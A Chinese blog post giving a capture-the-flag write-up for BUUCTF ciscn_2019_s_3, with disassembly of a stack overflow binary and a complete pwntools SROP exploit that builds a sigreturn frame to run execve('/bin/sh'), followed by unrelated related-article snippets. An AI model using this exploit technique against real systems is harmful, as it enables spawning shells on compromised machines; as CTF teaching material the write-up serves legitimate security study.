先放个例题吧,原理后面有时间再更:BUUCTF ciscn_2019_s_3

保护只开了nx

1 signed __int64 vuln()
2 {
3 signed __int64 v0; // rax
4 char buf[16]; // [rsp+0h] [rbp-10h] BYREF
5
6 v0 = sys_read(0, buf, 0x400uLL);
7 return sys_write(1u, buf, 0x30uLL);
8 }
 1 .text:00000000004004ED vuln            proc near               ; CODE XREF: main+14↓p
2 .text:00000000004004ED
3 .text:00000000004004ED buf = byte ptr -10h
4 .text:00000000004004ED
5 .text:00000000004004ED ; __unwind {
6 .text:00000000004004ED push rbp
7 .text:00000000004004EE mov rbp, rsp
8 .text:00000000004004F1 xor rax, rax
9 .text:00000000004004F4 mov edx, 400h ; count
10 .text:00000000004004F9 lea rsi, [rsp+buf] ; buf
11 .text:00000000004004FE mov rdi, rax ; fd
12 .text:0000000000400501 syscall ; LINUX - sys_read
13 .text:0000000000400503 mov rax, 1
14 .text:000000000040050A mov edx, 30h ; '0' ; count
15 .text:000000000040050F lea rsi, [rsp+buf] ; buf
16 .text:0000000000400514 mov rdi, rax ; fd
17 .text:0000000000400517 syscall ; LINUX - sys_write
18 .text:0000000000400519 retn
1 .text:00000000004004D6 gadgets         proc near
2 .text:00000000004004D6 ; __unwind {
3 .text:00000000004004D6 push rbp
4 .text:00000000004004D7 mov rbp, rsp
5 .text:00000000004004DA mov rax, 0Fh
6 .text:00000000004004E1 retn
7 .text:00000000004004E1 gadgets endp ; sp-analysis failed
8 .text:00000000004004E1

很明显的SROP,要上课了,先把exp放出来吧

 1 from pwn import *
2 context.log_level='debug'
3 context.arch='amd64'
4
5 s=process('./1')
6
7 read=0x4004F1
8 syscall_ret=0x400517
9 mov_rax_0xf=0x4004DA
10
11
12 payload=b'/bin/sh\x00aaaaaaaa'+p64(read)
13 s.sendline(payload)
14
15 s.recv(32)
16 bin_sh_addr=u64(s.recv(8))-0x118
17
18 sigframe=SigreturnFrame()
19 sigframe.rax=constants.SYS_execve#0x3b
20 sigframe.rdi=bin_sh_addr
21 sigframe.rip=syscall_ret
22
23 payload=b'a'*0x10+p64(mov_rax_0xf)+p64(syscall_ret)+bytes(sigframe)
24 s.send(payload)
25
26 s.interactive()

SROP的更多相关文章

  1. srop实战

    前言 srop 的作用比较强,在条件允许的情况下,尽量使用它.题目来自于 i春秋的一个比赛. 题目链接: https://gitee.com/hac425/blog_data/blob/master/ ...

  2. SROP例题

    具体攻击原理可以参考安全客这篇文章:入口 刚学了一点,也是懵懵懂懂的,拿几道题来练练手. ciscn_2019_es_7 64位程序,只开启了NX保护. 相当于执行了read(0,buf,0x400) ...

  3. SROP的一个实例

    以前一直只是大概看过这种技术,没实践过,今天刚好遇到一道题,实践了一波,确实很方便 unmoxiao@cat ~/s/pd_ubuntu> r2 -A smallest 00:54:15 War ...

  4. PetaPoco4.0的事务为什么不会回滚

    using (var srop=DbHelper.CurrentDb.GetTransaction()) { ID = bp.AddModel(model).ToStr(); #region 参与楼盘 ...

  5. 套题T7

    P4712 铺瓷砖 时间: 1000ms / 空间: 65536KiB / Java类名: Main   描述

  6. pwntools简介

    安装binutils: git clone https://github.com/Gallopsled/pwntools-binutils sudo apt-get install software- ...

  7. 2.oracle之用户管理sql

    --创建用户--create user  用户名  identified by  密码;create user jojo identified by bean; --给用户授权--grant conn ...

  8. mysql grep database error(cannot rmdir /dbname)

    service mysql stop cd /var/lib/mysql/dbname rm -rf .fmr rm -rf .txt service mysql start srop databas ...

  9. 使用jdk进行数据迁移(sqlite迁移mysql)

    直接粘贴代码 注意:rewriteBatchedStatements=true(加快连接速度) package com.wbg; import org.omg.Messaging.SYNC_WITH_ ...

随机推荐

  1. 安全相关,xss

    XSS XSS,即 Cross Site Script,中译是跨站脚本攻击:其原本缩写是 CSS,但为了和层叠样式表(Cascading Style Sheet)有所区分,因而在安全领域叫做 XSS. ...

  2. 关于mysql自动备份的小方法

    目前流行几种备份方式:逻辑备份.物理备份.双机热备份.备份脚本的编写等,本文分别从这些方面总结了MySQL自动备份策略的经验和技巧,一起来看看. 目前流行几种备份方式: 一.逻辑备份:使用mysql自 ...

  3. iOS11&IPhoneX适配

    1.在iOS 11中,会默认开启获取的一个估算值来获取一个大体的空间大小,导致不能正常显示,可以选择关闭.目前尝试在delegate中处理不能很好的解决,不过可以直接设置: Swift if #ava ...

  4. 注册页面的servlet

    package cn.itcast.travel.web.servlet;import cn.itcast.travel.domain.ResultInfo;import cn.itcast.trav ...

  5. leetcode,两个排序数组的中位数

    先上题目描述: 给定两个大小为 m 和 n 的有序数组 nums1 和 nums2 . 请找出这两个有序数组的中位数.要求算法的时间复杂度为 O(log (m+n)) . 你可以假设 nums1 和  ...

  6. JavaEE复习三

    Http协议是基于请求/响应模式.无状态的协议:所有请求时相互独立的.无连续的:服务器无法记住与识别用户. 对于简单的页面浏览或信息获取,http协议可以完全胜任:对于需要提供客户端和服务器端交互的网 ...

  7. 【保姆级教程】Ubuntu18.04+Geforce 980Ti+安装CUDA10.2+Cudnn

    首先感谢师兄的博客!前半部分按照这个照做没有问题! https://www.bilibili.com/read/cv9162965/ 第一步:下载CUDA 在官网下载,查询自己的GPU型号对应的CUD ...

  8. HCL华三模拟器静态路由实验

    (copy自我的其他博客网站) 拓扑如下: 实验目的:通过给A.B.C三台路由器配置静态路由,使PC1可以ping通PC2. 实验环境:Windows10 (21H1),HCL(V3.0.1) 实验步 ...

  9. 软件开发生命周期(SDLC)

    一.简介 软件开发生命周期又叫做 SDLC(Software Development Life Cycle),它是集合了计划.开发.测试和部署过程的集合.如下图所示 : 二.五个阶段 1.分析阶段: ...

  10. IO多路复用技术总结

    来源:微信公众号「编程学习基地」 IO 多路复用概述 I/O 多路复用技术是为了解决进程或线程阻塞到某个 I/O 系统调用而出现的技术,使进程不阻塞于某个特定的 I/O 系统调用. 在IO多路复用技术 ...